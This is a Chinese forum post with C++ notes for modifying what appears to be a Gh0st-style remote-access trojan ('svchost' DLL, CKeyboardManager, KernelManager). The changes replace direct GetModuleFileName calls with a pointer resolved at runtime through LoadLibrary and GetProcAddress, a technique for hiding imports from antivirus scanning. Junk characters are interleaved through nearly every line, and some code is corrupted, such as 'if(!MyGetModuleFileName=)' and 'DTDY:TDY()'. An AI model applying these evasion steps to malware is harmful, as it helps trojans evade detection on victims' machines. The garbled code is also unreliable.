返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记( a* L/ S& h& O8 Q  G; V
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h7 ?+ o1 ~, W% V3 w$ r6 x# A5 x6 [
----------------------------------------
) E7 }. O# w' Z0 x3 N7 JDTDY.h:
2 p5 S) u& s# D* C$ c+ ?" i. m4 l+ N" N
#if _MSC_VER>1000
6 v; O' H* Q% C#pragma once# u+ e, T8 ]8 m6 {3 I: d! {
#endif //_MSC_VER>10002 n5 L; O, F7 ^8 s# h+ k3 m
#include<windows.h>. y. e( G( H: E) T: O. Y6 D
5 k1 \6 E9 E# V( m5 x; q* m3 w
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);( c* Z4 u8 z- S& f& L1 f! q0 V, u
class DTDY
8 ^, o5 f' N6 X{
% B8 B% u9 g) H2 O! P$ X/ @) Ipublic:  J* ]( A3 N4 \# m2 J4 q3 r3 x6 s
DTDY();
9 V* [3 d% W0 H, Ivirtual ~DTDY();
2 q0 C: q5 J: T4 c7 P0 M9 wpublic:
+ M, ]6 i' n6 F7 P: Wstatic pGetModuleFileNameA MyGetModuleFileName;
" J# ]6 k) ~0 j8 Kstatic BOOL FunInitiallization();2 t% e. Y. u0 H% w3 D
};& @; H* A( g- [
#endif8 G! ^6 C3 Z: U: V
----------------------------------------! N' x: v9 y3 \

) K' I: @& E3 B  g  a8 c: dDTDY.cpp:) I0 K: e! ^5 ~$ q( Q) N* f

& Y6 g% M. Z* k* ^' B#include "DTDY.h"' |1 p. U; H' r3 Y  r: i( q/ p
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
4 K, T1 a+ M4 O: \1 B+ |DTDY:TDY()6 r) D; N4 Q. C# J& K
{
) W! C( `3 R4 K5 C2 n1 G}
% p* L9 r0 p' p: q$ a1 h) zDTDY::~DTDY()
: {5 M1 h  x2 n8 o2 U/ l3 n{
: F, X. B" i  l4 d( P# @5 ?4 k}
% v$ E  Q+ z; b! W( oBOOL DTDY::FunInitiallization()' }9 `7 a& s6 {4 J' E7 S
{$ O7 Q, C! c" U! @; W1 H, O: j# o8 O' p
HMODULE hModule=LoadLibrary("kernel32.dll");
5 o  J7 T. X: t, `7 [$ g/ Q% X" {9 `! fMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");8 s4 X1 X  {) c" f8 p
if(!MyGetModuleFileName=) return FALSE;; l# q2 ]% z9 b2 L9 S9 J9 h
# ~! M1 ~0 l: g& W
return TRUE;
: a( s) n/ B5 k* o, z  z}
: ?$ `( i5 v  y+ O% T- ?, w----------------------------------------6 `0 R( ?" r. F: T7 c
svchost.cpp:; R" G7 s% f( y3 B- r- r

/ H" d. C! m" ]$ a5 Y#include "DTDY.h"
8 @7 T  g9 H# F+ h* j
, v8 a& V# N% p, CBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)5 X5 R$ r7 l  ?) q2 W5 q2 z( k
{
, c0 @- c6 ^/ @4 _$ y0 ]$ Sswitch(ul_reason_for_call)8 j. X7 n9 P( T( R9 y
{8 W( G$ n/ C7 @) w, @4 Y( a' a
case DLL_PROCESS_ATTACH:5 o8 p1 P  _* Q
if(!DTDY::FunInitiallization()) return FALSE;, v- }3 H9 g" d. u

- M; _9 V$ l3 u( D) T! Ebreak;
' s+ |& {4 `2 O6 _% O}
0 ^4 Q; V9 I" g2 Q. l' `}4 e, P# |- T! v

6 J; ~+ c8 e- c( |0 p: i; C( }" [; p0 y# S3 A; |! \
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
$ I  m" R" _2 y  \改写为# O# P& a5 F8 a. ?2 F2 A4 N
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));. M. z9 x# t- H* [# E
----------------------------------------
# v! W5 Z9 p0 L, ]# S& ZKernelManager.cpp:$ _& L) ]2 m  _1 f4 y
8 x  S7 B/ Y4 e
#include "../DTDY.h"# W$ s$ Y+ w* i
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 a) |4 I# ~2 {$ p/ X! R9 E; M- y. D
改写为0 T5 ^1 q; n8 T
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));, U/ [' c- Q8 M
----------------------------------------

返回列表